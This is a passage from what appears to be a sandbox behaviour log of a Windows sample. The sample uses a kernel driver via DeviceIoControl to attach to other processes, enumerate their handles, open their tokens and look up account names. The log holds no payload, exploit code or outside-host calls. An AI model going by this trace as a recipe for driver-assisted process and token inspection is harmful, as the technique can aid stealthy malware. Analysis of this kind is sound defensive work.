Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.743] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.743] PsAcquireProcessExitSynchronization () returned 0x0 [0105.743] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff88004f095d0) [0105.743] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800201e6a0, HandleInformation=0x0) returned 0x0 [0105.743] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.743] PsReleaseProcessExitSynchronization () returned 0x2 [0105.743] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0105.743] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.743] ObfDereferenceObject (Object=0xfffffa800201e6a0) returned 0x1 [0105.743] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.743] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.743] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.743] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0105.743] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.743] PsAcquireProcessExitSynchronization () returned 0x0 [0105.743] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff88004f095d0) [0105.743] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002091a90, HandleInformation=0x0) returned 0x0 [0105.743] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.743] PsReleaseProcessExitSynchronization () returned 0x2 [0105.743] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0105.743] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.743] ObfDereferenceObject (Object=0xfffffa8002091a90) returned 0x1 [0105.743] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.743] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.743] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.743] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.743] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.743] PsAcquireProcessExitSynchronization () returned 0x0 [0105.743] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff88004f095d0) [0105.743] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.743] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.744] PsReleaseProcessExitSynchronization () returned 0x2 [0105.744] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0105.744] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.744] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.744] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.744] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.744] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9f0) returned 0xc0 [0105.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.744] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020cf460, HandleInformation=0x0) returned 0x0 [0105.744] ObOpenObjectByPointer (in: Object=0xfffffa80020cf460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.744] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x12 [0105.744] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.744] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.744] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.744] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.744] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.745] CloseHandle (hObject=0xc8) returned 1 [0105.745] CloseHandle (hObject=0xc0) returned 1 [0105.745] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.745] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.746] PsAcquireProcessExitSynchronization () returned 0x0 [0105.746] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff88004f095d0) [0105.746] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020cfd90, HandleInformation=0x0) returned 0x0 [0105.746] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.746] PsReleaseProcessExitSynchronization () returned 0x2 [0105.746] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0105.746] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.746] ObfDereferenceObject (Object=0xfffffa80020cfd90) returned 0x1 [0105.746] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.746] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.746] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.746] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0105.746] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.746] PsAcquireProcessExitSynchronization () returned 0x0 [0105.746] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff88004f095d0) [0105.746] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020d2f20, HandleInformation=0x0) returned 0x0 [0105.746] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.746] PsReleaseProcessExitSynchronization () returned 0x2 [0105.746] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0105.746] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.746] ObfDereferenceObject (Object=0xfffffa80020d2f20) returned 0x1 [0105.746] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.746] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.746] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.746] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.746] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.746] PsAcquireProcessExitSynchronization () returned 0x0 [0105.746] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff88004f095d0) [0105.746] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.746] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.747] PsReleaseProcessExitSynchronization () returned 0x2 [0105.747] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0105.747] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.747] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.747] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.747] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.747] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa00) returned 0xc0 [0105.747] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.747] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020e5b30, HandleInformation=0x0) returned 0x0 [0105.747] ObOpenObjectByPointer (in: Object=0xfffffa80020e5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.747] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x12 [0105.747] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.747] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.747] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.747] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.747] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.748] CloseHandle (hObject=0xc8) returned 1 [0105.748] CloseHandle (hObject=0xc0) returned 1 [0105.748] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.749] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.749] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.749] PsAcquireProcessExitSynchronization () returned 0x0 [0105.749] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff88004f095d0) [0105.749] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020dca70, HandleInformation=0x0) returned 0x0 [0105.749] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.749] PsReleaseProcessExitSynchronization () returned 0x2 [0105.749] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0105.749] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.749] ObfDereferenceObject (Object=0xfffffa80020dca70) returned 0x1 [0105.749] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.749] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.749] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.749] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0105.749] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.749] PsAcquireProcessExitSynchronization () returned 0x0 [0105.749] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff88004f095d0) [0105.749] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020e51a0, HandleInformation=0x0) returned 0x0 [0105.749] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.749] PsReleaseProcessExitSynchronization () returned 0x2 [0105.749] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0105.749] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.749] ObfDereferenceObject (Object=0xfffffa80020e51a0) returned 0x1 [0105.749] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.749] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.749] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.749] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.749] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.749] PsAcquireProcessExitSynchronization () returned 0x0 [0105.749] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff88004f095d0) [0105.750] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.750] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.750] PsReleaseProcessExitSynchronization () returned 0x2 [0105.750] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0105.750] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.750] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.750] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.750] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.750] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa10) returned 0xc0 [0105.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.750] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020f65f0, HandleInformation=0x0) returned 0x0 [0105.750] ObOpenObjectByPointer (in: Object=0xfffffa80020f65f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.750] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x12 [0105.750] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.750] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.750] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.750] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.750] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.012] CloseHandle (hObject=0xc8) returned 1 [0106.012] CloseHandle (hObject=0xc0) returned 1 [0106.012] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.012] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.012] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.012] PsAcquireProcessExitSynchronization () returned 0x0 [0106.012] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff88004f095d0) [0106.012] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020f6f20, HandleInformation=0x0) returned 0x0 [0106.012] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.012] PsReleaseProcessExitSynchronization () returned 0x2 [0106.012] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0106.012] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.012] ObfDereferenceObject (Object=0xfffffa80020f6f20) returned 0x1 [0106.012] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.012] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.012] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.012] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0106.013] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.013] PsAcquireProcessExitSynchronization () returned 0x0 [0106.013] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff88004f095d0) [0106.013] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020f81e0, HandleInformation=0x0) returned 0x0 [0106.013] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.013] PsReleaseProcessExitSynchronization () returned 0x2 [0106.013] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0106.013] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.013] ObfDereferenceObject (Object=0xfffffa80020f81e0) returned 0x1 [0106.013] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.013] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.013] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.013] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.013] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.013] PsAcquireProcessExitSynchronization () returned 0x0 [0106.013] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020f65f0, 